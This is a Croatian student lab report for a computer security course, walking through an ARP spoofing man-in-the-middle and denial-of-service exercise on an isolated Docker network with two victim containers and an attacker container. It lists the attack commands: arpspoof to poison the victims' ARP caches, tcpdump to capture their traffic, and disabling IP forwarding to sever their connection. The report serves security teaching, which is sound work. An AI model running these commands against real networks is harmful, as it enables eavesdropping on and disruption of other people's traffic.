Laboratorijska vježba 1

Sigurnost računala i podataka

Man-in-the-middle attacks (ARP spoofing)

U okviru prve laboratorijske vježbe analizirali smo ranjivost Address Resolution Protocol-a (ARP) koja napadaču omogućava izvođenje *man in the middle* i *denial of service* napada na računala koja dijele zajedničku lokalnu mrežu (LAN).

Napad je testiran koristeći virtualiziranu Docker mrežu koju čine 3 docker računala tj. 2 žrtve

(station-1 i station-2) i napadač (evil-station).

Pokrenuli smo Windows terminal aplikaciju i potom otvorili Ubuntu terminal na WSL sustavu.

Pozicionirali smo se u odgovarajući direktorij te klonirali GitHub repozitorij naredbom:

```
git clone https://github.com/mcagalj/SRP-2021-22
```

Naredbom cd ušli smo u direktorij *arp-spoofing/* u kojem se nalaze
skripte **start.sh** i **stop.sh** koje služe za pokretanje i zaustavljanje docker kontejnera.

Pokretanje

```
$ ./start.sh
```

Zaustavljanje

```
$ ./stop.sh
```

Potom smo pokrenuli shell station-1 i provjerili konfiguraciju mrežnog interface-a.

Pokretanje shella station-1

```
$ docker exec -it station-1 bash
```

Provjera konfiguracije mrežnog interface-a

```
$ ifconfig -a
```

Potom smo provjerili nalazi li se i station-2 na istoj mreži te pokrenuli shell za station-2.

Provjera mreže

```
$ ping station-2
```

Pokretanje shella station-2

```
$ docker exec -it station-2 bash
```

Potom smo ostvarili konekciju između station-1 i station-2.

Station-1 → server na portu 8000

```
$ netcat -l -p 8000
```

Station 2 → client na hostname-u station-1 8000

```
$ netcat station-1 8000
```

Da bismo napali, pokrenuli smo shell za evil-station i isprobali **tcpdump** (omogućava praćenje prometa) i **arpspoof**.

Pokretanje shella evil-station

```
$ docker exec -it evil-station bash
```

Arpspoof

```
$ arpspoof -t station-1 station-2
```

Tcpdump

```
$ tcpdump
```

Na samom kraju vježbe smo u potpunosti prekinuli konekciju između station-1 i station-2 naredbom:

```
echo 0 > /proc/sys/net/ipv4/ip_forward
```